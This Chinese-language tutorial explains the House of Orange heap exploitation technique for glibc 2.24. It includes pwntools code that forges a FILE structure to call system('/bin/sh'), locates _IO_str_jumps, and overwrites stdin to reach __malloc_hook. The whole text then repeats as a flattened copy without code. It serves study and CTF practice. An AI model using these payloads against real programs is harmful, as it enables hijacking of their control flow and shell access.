house of orange in glibc 2.24
字数 1655 2025-08-20 18:17:07

House of Orange 攻击技术详解 (Glibc 2.24)

基本原理

House of Orange 是一种利用堆管理机制和IO文件流结构进行攻击的技术,基本原理如下:

  1. 覆盖unsorted bin空闲块:修改其大小为0x61(small bin [4])
  2. 修改bk指针:指向_IO_list_all -0x10
  3. 布置伪造的file结构体
  4. 触发unsorted bin attack:通过分配堆块触发攻击,修改_IO_list_all指针
  5. 异常触发:将修改过的unsorted bin放入small bin 4中,继续遍历会触发异常
  6. 控制流劫持:异常处理会调用malloc_printerr,最终调用_IO_OVERFLOW

关键调用链

malloc_printerr 
→ __libc_message(error msg) 
→ abort 
→ _IO_flush_all_lockp 
→ JUMP_FILE(_IO_OVERFLOW)

如果能伪造_IO_OVERFLOW函数,就可以获得shell。

绕过检查的条件

在调用_IO_OVERFLOW之前,会进行以下检查:

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
    || (_IO_vtable_offset(fp) == 0
        && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                            > fp->_wide_data->_IO_write_base))
#endif
    )
    && _IO_OVERFLOW(fp, EOF) == EOF)

绕过检查需要伪造以下字段:

  • fp->_mode = 0
  • fp->_IO_write_ptr < fp->_IO_write_base
  • fp->_IO_read_ptr = 0x61 (smallbin4 + 8)
  • fp->_IO_read_base = _IO_list_all - 0x10 (smallbin->bk, unsorted bin attack)

Glibc 2.24的新保护机制

Glibc 2.24引入了vtable检测函数IO_validate_vtable

static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
    uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
    const char *ptr = (const char *) vtable;
    uintptr_t offset = ptr - __start___libc_IO_vtables;
    if (__glibc_unlikely (offset >= section_length))
        _IO_vtable_check ();
    return vtable;
}

vtable必须位于__stop___IO_vtables__start___libc_IO_vtables之间。

利用__IO_str_jumps绕过

可以使用__IO_str_jumps__IO_wstr_jumps进行绕过,其中__IO_str_jumps更简单:

  • __IO_str_jumps地址:位于合法vtable范围内
  • 结构包含多个函数指针,其中_IO_str_finish_IO_str_overflow可用于利用

_IO_str_finish函数分析

void _IO_str_finish (FILE *fp, int dummy) {
    if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
        (((_IO_strfile *) fp)->_s._free_buffer)(fp->_IO_buf_base); // call qword ptr [fp+0E8h]
    fp->_IO_buf_base = NULL;
    _IO_default_finish(fp, 0);
}

利用条件:

  1. fp->_mode = 0
  2. fp->_IO_write_ptr < fp->_IO_write_base
  3. fp->_IO_read_ptr = 0x61 (smallbin4 + 8)
  4. fp->_IO_read_base = _IO_list_all -0x10
  5. vtable = _IO_str_jumps - 8 (使_IO_overflow调用_IO_str_finish)
  6. fp->_flags = 0
  7. fp->_IO_buf_base = binsh_addr
  8. fp+0xe8 = system_addr

构造伪造的file结构体

def pack_file(_flags=0, _IO_read_ptr=0, _IO_read_end=0, _IO_read_base=0, 
              _IO_write_base=0, _IO_write_ptr=0, _IO_write_end=0, 
              _IO_buf_base=0, _IO_buf_end=0, _IO_save_base=0, 
              _IO_backup_base=0, _IO_save_end=0, _IO_marker=0, 
              _IO_chain=0, _fileno=0, _lock=0, _wide_data=0, _mode=0):
    file_struct = p32(_flags) + \
                 p32(0) + \
                 p64(_IO_read_ptr) + \
                 p64(_IO_read_end) + \
                 p64(_IO_read_base) + \
                 p64(_IO_write_base) + \
                 p64(_IO_write_ptr) + \
                 p64(_IO_write_end) + \
                 p64(_IO_buf_base) + \
                 p64(_IO_buf_end) + \
                 p64(_IO_save_base) + \
                 p64(_IO_backup_base) + \
                 p64(_IO_save_end) + \
                 p64(_IO_marker) + \
                 p64(_IO_chain) + \
                 p32(_fileno)
    file_struct = file_struct.ljust(0x88, "\x00")
    file_struct += p64(_lock)
    file_struct = file_struct.ljust(0xa0, "\x00")
    file_struct += p64(_wide_data)
    file_struct = file_struct.ljust(0xc0, '\x00')
    file_struct += p64(_mode)
    file_struct = file_struct.ljust(0xd8, "\x00")
    return file_struct

封装利用函数:

def pack_file_flush_str_jumps(_IO_str_jumps_addr, _IO_list_all_ptr, system_addr, binsh_addr):
    payload = pack_file(_flags=0,
                       _IO_read_ptr=0x61,        # smallbin4file_size
                       _IO_read_base=_IO_list_all_ptr-0x10, # unsorted bin attack
                       _IO_write_base=0,
                       _IO_write_ptr=1,
                       _IO_buf_base=binsh_addr,
                       _mode=0)
    payload += p64(_IO_str_jumps_addr-8)
    payload += p64(0)  # padding
    payload += p64(system_addr)
    return payload

定位_IO_str_jumps

由于_IO_str_jumps不是导出符号,可以通过以下方法定位:

  1. 使用_IO_str_underflow辅助定位(_IO_str_underflow_IO_str_jumps的偏移为0x20)
  2. 利用_IO_str_jumps地址大于_IO_file_jumps地址的条件

自动化定位代码:

IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
    possible_IO_str_jumps_offset = ref_offset - 0x20
    if possible_IO_str_jumps_offset > IO_file_jumps_offset:
        print possible_IO_str_jumps_offset
        break

其他绕过vtable check的方法

  1. 利用unsorted bin attack改写_IO_2_1_stdin_
    • 修改_IO_buf_end指向__malloc_hook
    • 利用scanf函数读取数据填充到该区域

示例payload:

def get_stdin_lock_offset(self):
    IO_2_1_stdin = libc.sym['_IO_2_1_stdin_']
    lock_stdin_offset = 0x88
    return libc.u64(IO_2_1_stdin+lock_stdin_offset)

payload = "\x00"*5
payload += p64(libc_base + get_stdin_lock_offset())
payload += p64(0) * 9
payload += p64(libc_base + libc.sym['_IO_file_jumps'])
payload += "\x00" * (libc.sym['__malloc_hook'] - libc.sym['_IO_2_1_stdin_'] - 0xe0)
payload += p64(one_shoot)

总结

House of Orange攻击在Glibc 2.24下依然可行,关键在于:

  1. 正确构造伪造的file结构体
  2. 利用合法的vtable(如__IO_str_jumps)绕过保护
  3. 精心控制异常触发路径
  4. 注意各种检查条件的绕过

这种技术不仅适用于Glibc 2.24,也可以用于2.23版本的程序。

House of Orange 攻击技术详解 (Glibc 2.24) 基本原理 House of Orange 是一种利用堆管理机制和IO文件流结构进行攻击的技术,基本原理如下: 覆盖unsorted bin空闲块 :修改其大小为0x61(small bin [ 4 ]) 修改bk指针 :指向 _IO_list_all -0x10 布置伪造的file结构体 触发unsorted bin attack :通过分配堆块触发攻击,修改 _IO_list_all 指针 异常触发 :将修改过的unsorted bin放入small bin 4中,继续遍历会触发异常 控制流劫持 :异常处理会调用 malloc_printerr ,最终调用 _IO_OVERFLOW 关键调用链 如果能伪造 _IO_OVERFLOW 函数,就可以获得shell。 绕过检查的条件 在调用 _IO_OVERFLOW 之前,会进行以下检查: 绕过检查需要伪造以下字段: fp->_mode = 0 fp->_IO_write_ptr < fp->_IO_write_base fp->_IO_read_ptr = 0x61 (smallbin4 + 8) fp->_IO_read_base = _IO_list_all - 0x10 (smallbin->bk, unsorted bin attack) Glibc 2.24的新保护机制 Glibc 2.24引入了vtable检测函数 IO_validate_vtable : vtable必须位于 __stop___IO_vtables 和 __start___libc_IO_vtables 之间。 利用 __IO_str_jumps 绕过 可以使用 __IO_str_jumps 或 __IO_wstr_jumps 进行绕过,其中 __IO_str_jumps 更简单: __IO_str_jumps 地址:位于合法vtable范围内 结构包含多个函数指针,其中 _IO_str_finish 和 _IO_str_overflow 可用于利用 _IO_str_finish 函数分析 利用条件: fp->_mode = 0 fp->_IO_write_ptr < fp->_IO_write_base fp->_IO_read_ptr = 0x61 (smallbin4 + 8) fp->_IO_read_base = _IO_list_all -0x10 vtable = _IO_str_jumps - 8 (使 _IO_overflow 调用 _IO_str_finish ) fp->_flags = 0 fp->_IO_buf_base = binsh_addr fp+0xe8 = system_addr 构造伪造的file结构体 封装利用函数: 定位 _IO_str_jumps 由于 _IO_str_jumps 不是导出符号,可以通过以下方法定位: 使用 _IO_str_underflow 辅助定位( _IO_str_underflow 在 _IO_str_jumps 的偏移为0x20) 利用 _IO_str_jumps 地址大于 _IO_file_jumps 地址的条件 自动化定位代码: 其他绕过vtable check的方法 利用unsorted bin attack改写 _IO_2_1_stdin_ : 修改 _IO_buf_end 指向 __malloc_hook 利用scanf函数读取数据填充到该区域 示例payload: 总结 House of Orange攻击在Glibc 2.24下依然可行,关键在于: 正确构造伪造的file结构体 利用合法的vtable(如 __IO_str_jumps )绕过保护 精心控制异常触发路径 注意各种检查条件的绕过 这种技术不仅适用于Glibc 2.24,也可以用于2.23版本的程序。